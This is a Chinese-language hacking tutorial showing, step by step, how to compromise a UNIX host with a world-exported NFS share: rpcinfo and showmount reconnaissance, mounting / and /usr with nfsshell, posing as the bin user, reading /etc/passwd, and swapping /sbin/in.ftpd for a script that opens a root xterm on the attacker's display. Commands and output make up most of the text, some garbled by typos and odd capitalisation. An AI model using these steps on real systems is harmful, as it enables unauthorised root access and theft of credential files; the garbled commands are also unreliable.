现在的许多文章都是写的WIN2K攻防,而UNIX下 的是少之又少,而我今天写的就是UNIX下的漏洞。
众所周知,NFS是 一个非常流行的网络操作系统,现在大多数的UNIX用的是其第三版,它依赖与RPC服务。允许客户 主机远程访问其文件系统的服务器都要小心,因为NFS的配置不当也会导致被攻击。
首先很多的MOUNTD和NFS漏 洞已经被发现了,NFS提供的安全性都依赖与文件句柄,如果能探测到一个系统的文件句柄,攻击者就可以轻易访问主机。
下面就给大家一个攻 击实例,让大家看看一个配置不当的NFS系统是如何被利用的。我们需要NFSSHELL,在FTP://FTP.CS.VU.NL/PUB/LEENDERT/NFSSHELL.TAR.GZ可 以下载到。
那天我用RPCINFO命 令扫查看一台UNIX主机,发现了这样的数据:
100005 1 UDP 32845 MOUNTD
100005 2 UDP 32845 MOUNTD
100005 3 UDP 32845 MOUNTD
100005 3 UDP 32845 MOUNTD
100005 1 TCP 32811 MOUNTD
100005 2 TCP 32811 MOUNTD
100005 3 TCP 32811 MOUNTD
...........
凭感觉,这个信息可 以利用,但是对它又不熟,所以查了一下,得到了这个漏洞的说明。OK,既然有了资料,那就开始动手吧。
SHOWMOUNT -E XXX.XXX.XXX.XXX
EXPORT LIST FOR XXX.XXX.XXX.XXX
/(EVERYONE)
/USR (EVERYONE)
SHOWMOUNT的结果指明了整个/和/USR文件系统都出 口到任意主机,攻击者只需要远程安装这个/和/USR文件系统,就能访问它们了,具体只受权限影 响。
大多数的UNIX中 都有MOUNT命令可用,你可以运行MAN MOUNT看看帮助,因为不同版本的可能用法不太一 样。
我们用MOUNT XXX.XXX.XXX.XXX:// MNT
将XXX.XXX.XXX.XXX的 根目录安装到本地的/MNT安装点上。
发现这种漏洞的一个 更好的程序是NFSSHELL,我们要先输入对哪个安装主机感兴趣,以下的被攻击主机都是本人自己 虚拟的网络环境:
NFS>HOST DEX
USING A PRIVILEGED PORT(1022)
OPEN DEX(192.168.0.1) TCP
下来我们看看主机的 哪些文件系统被出口;
NFS>EXPORT
EXPORT LIST FOR DEX:
/EVERYONE
/USR EVERYONE
现在就可以安装/文 件系统了:
NFS>MOUNT /
USING A PRIVILEGED PORT(1021)
MOUNT / TCP,TRANSFER SIZE 8192 BYTES.
下来我们来确定访问 这个系统时用的UID:
NFS>STATUS
USER ID :-2
GROUP ID :-2
REMOTE HOST:DEX
MOUNT PATH:/
TRANSFER SIZE:8192
现在我们已经安装了/, 而且发现UID和GID都是NOBODY。OK,现 在我们既然安装了整个文件系统树,那么我们现在就可以查看/ETC/PASSWD文件的内容了:)。
NFS>CD /ETC
NFS>CAT PASSWD
怎么样看到了吧,不 过因为该文件是经过加密的,所以我们无法破解它,但是不要灰心,我们把安装改为/USR,把UID和GID改 为BIN,而获得二进制文件的访问权:
NFS>MOUNT /USR
USING A PRIVILEGED PORT (1022)
MOUNT /USR,TCP,TRANSFER SIZE 8192 BYTES
NFS>UID 2
NFS>GID 2
NFS>STATUS
USER ID :2
GROUP ID :2
REMOTE HOST:DEX
MOUNT PATH :/USR
TRANSFER SIZE :8192
现在我们具有该远程 系统上bin用户的所有特权了,在我们的例子中,该文件系统出口时没有设置会限制bin创建或修改 文件的能力的任何特殊选项。到了这一步,只需发射会一个xterm或创建一个到本地系统的反向通道就能获取对于目标的系统的访 问权了。
我们在本地系统创建以下内容的一个脚本文件,并把它命名为IN。FTPD
#!/BIN/CH
/USR/OPENWIN/BIN。XTERM-DISPLAY 10.10.10 ;0.0
接着在NFS交互中CD到目标上的/SBIN目 录,把IN。FTPD替换成我们的版本;
NFS>CD/SBIN
NFS>PUT.IN.FTPD
最后,我们通过XHOST命 令以允许目标服务器连接回本地的X服务器,在执行FTP命令以在目标服务器上启动执行/SBIN。IN。FTPD
最后,我们通过XHOST命 令允许目标服务器连接回本地的X服务器,再执行FTR命令以在目标服务器上启动执行/SBIN/IN.FTPD:
XHOST+dex
TO ACCESS CONTROL LIST
FTP dex
CONNECTED dex
其结果是在本地系统上显示一个属主为ROOT的XTERM。 如下面的交互例子所示,既然目标系统上IN。FTPD是以ROOT特权 从INETD中派生执行的,因此IN。FTPD将以ROOT特 权执行我们的脚本,从而导致直接的ROOT访问。
#ID
UID=O(ROOT) GID=(ROOT)
到此为止,本文已经全部完成,由此可见安全性在高的系统因为配置不当也会出现致命的漏洞.